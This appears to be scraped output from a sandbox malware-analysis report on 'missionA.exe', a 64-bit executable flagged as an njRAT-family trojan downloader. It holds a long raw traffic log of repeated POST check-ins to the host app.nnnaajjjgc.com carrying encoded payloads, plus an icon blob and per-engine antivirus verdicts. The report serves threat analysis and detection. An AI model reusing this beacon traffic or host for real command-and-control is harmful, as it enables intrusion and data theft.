"VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43560&key=a5c46bc51513f4d0d0c2689dccd0ed03 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43566&key=3d2383c6cde51c9cb5188dc560599996 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43570&key=b0b4b7386ea2485d06b94f7e8af64215 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43578&key=4285ddb3af6813d739c0fbe4d9223e9b HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43582&key=d6ba3fa3d2a833d2e5e02f2cb536aecc HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43586&key=dc7d5f91e46313bf67df1e3fac4b7f83 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43594&key=f5dae087e835aa035eae44bfd4cafaa9 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43600&key=56f4b5bab574e4c0723a4d56a0654c23 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43604&key=9fb50510330a99145b06c8a1780cdfcd HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43606&key=13e961ce06deab1ce3de9f9ab63ff242 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43612&key=53d751fc167ff27743de13609d914586 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43614&key=3b1abb883f29940cc659048197011b5d HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43616&key=91d639f4a5fb2981ef8e354f43fb2373 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43620&key=0d1f552222a41920dcd67f9feeba256c HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43624&key=c8103e31e2d156799f0c186ef6a4fe02 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43628&key=47d5d65351a8e3fd53c016d1409dbb39 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43632&key=86c3f6fe96f7e5fba83ed502e9f3333f HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43638&key=70df0dcb1a636d1145ba2084d7d1a6b0 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43640&key=49b8cadd684690e1d94149071055dd50 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43646&key=a64f2cc50b10781a4782daf6eb762db1 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A.......45:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZmZgAAAAAAAAAAAAAAAAAGZmZgAAAAAAAAAAAAAAAAZmAGYAAAAAAAAAAAAAAAAG4ABmAAAAAAAAAAAAAAAAdmAGYAAAAAAAAAAAAAAAAGZgBmAABGZAAAAAAAAAAAB+YGZAAGZmZgAAAAAAAAAAfmZmAAZmYGYAAAARd3d3EXjuYABmZgBmAABxiP////h37mAG5kAAZgAHmP//////+HcAbmAABmAAmY////////h3du5ABmZAAJn///////j3h3jmZm5gAACY////iHd3d/iHZmZkAAAAmP/4h5mZkX+Hd3dAAAAAAHj/iZiP+IiIcVeIEAAAAAB5+Jj///iIeHeRdxAAAAAACXmP//+Ih4h4iRcQAAAAAACY///4iHf3j/95EAAAAAAAmP//iHd4eI//9xAAAAAAAJ//+Id4eHj///iRAAAAAAmY/4h3iIeI////iQAAAAAJmPh3iPeI/////4kAAAAAAJn4j/+IeI////+JAAAAAACZj///iI//////iQAAAAAACZj//4f///+P/4kAAAAAAACZn/h4//////hxAAAAAAAACZmP//////+JkAAAAAAAAACZmZj///iHmQAAAAAAAAAAAJmZmXmZmRAAAAAAAAAAAAAAAJmZmZAAAAAAAAD//4H///8A////AP///gB///4A///8IP///AGB/4QDAPwAAgDwAAAQwAAAIIAAAEAAAAAAAAAAAwAAAAcAAAAPAAAAfwAAAH+AAAA/wAAAP8AAAB/AAAAfgAAAH4AAAB/AAAAfwAAAH+AAAB/wAAAf+AAAP/wAAH//AAH///Af/w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"ab52c1b084899f26f4589de51763cae42cfa3b0ef49ed199f75c47dbfd704a15","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791073005051,"unified_at":"2026-10-04T00:16:45.051Z","metadata":{"hashes":{"sha256":"ab52c1b084899f26f4589de51763cae42cfa3b0ef49ed199f75c47dbfd704a15","sha1":"d2352939b2ce02009a9aff19450673ad0b42f8e0","md5":"0489d588cfe0df896215ab7b5520895c","sha512":"aeab6fadfb5c28d148766b8022c5e15ed42b616b0cf36b3c23e3ef28d15c67202f20eebe75a1e659fa827f797444f63701870c0cb43cb1cc76dc3c8b4ad1896d","ssdeep":"6144:ul073J3gpJ1K4t1O9rdDWC4t0+eoJAbB3T+cbJp:z3Jwp/KMqJs0+5cCIJp","ssdeep_chunks":["6144:ul073J3","6144:l073J3g","6144:073J3gp","6144:73J3gpJ","6144:3J3gpJ1","6144:J3gpJ1K","6144:3gpJ1K4","6144:gpJ1K4t","6144:pJ1K4t1","6144:J1K4t1O","6144:1K4t1O9","6144:K4t1O9r","6144:4t1O9rd","6144:t1O9rdD","6144:1O9rdDW","6144:O9rdDWC","6144:9rdDWC4","6144:rdDWC4t","6144:dDWC4t0","6144:DWC4t0+","6144:WC4t0+e","6144:C4t0+eo","6144:4t0+eoJ","6144:t0+eoJA","6144:0+eoJAb","6144:+eoJAbB","6144:eoJAbB3","6144:oJAbB3T","6144:JAbB3T+","6144:AbB3T+c","6144:bB3T+cb","6144:B3T+cbJ","6144:3T+cbJp","12288:ul073J3","12288:l073J3g","12288:073J3gp","12288:73J3gpJ","12288:3J3gpJ1","12288:J3gpJ1K","12288:3gpJ1K4","12288:gpJ1K4t","12288:pJ1K4t1","12288:J1K4t1O","12288:1K4t1O9","12288:K4t1O9r","12288:4t1O9rd","12288:t1O9rdD","12288:1O9rdDW","12288:O9rdDWC","12288:9rdDWC4","12288:rdDWC4t","12288:dDWC4t0","12288:DWC4t0+","12288:WC4t0+e","12288:C4t0+eo","12288:4t0+eoJ","12288:t0+eoJA","12288:0+eoJAb","12288:+eoJAbB","12288:eoJAbB3","12288:oJAbB3T","12288:JAbB3T+","12288:AbB3T+c","12288:bB3T+cb","12288:B3T+cbJ","12288:3T+cbJp","6144:z3Jwp/K","6144:3Jwp/KM","6144:Jwp/KMq","6144:wp/KMqJ","6144:p/KMqJs","6144:/KMqJs0","6144:KMqJs0+","6144:MqJs0+5","6144:qJs0+5c","6144:Js0+5cC","6144:s0+5cCI","6144:0+5cCIJ","6144:+5cCIJp"],"imphash":"d1884757532ce7b0014241f40262c929"},"file_info":{"file_name":"missionA.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":430080,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1691473506000,"last_seen":1691473506000,"last_multi_scan":1691473506000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["agent","bladabindi","botnet","chir","expiro","floxif","neshta","njrat","rat","virut","evasive"]},"stats":{"av":{"malicious_count":4,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":59},"sandbox_signatures":{"informative_count":128,"suspicious_count":23,"malicious_count":4,"total":155},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win64/TrojanDownloader.Agent.AER.gen trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Win32.Fabookie.pef","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"dat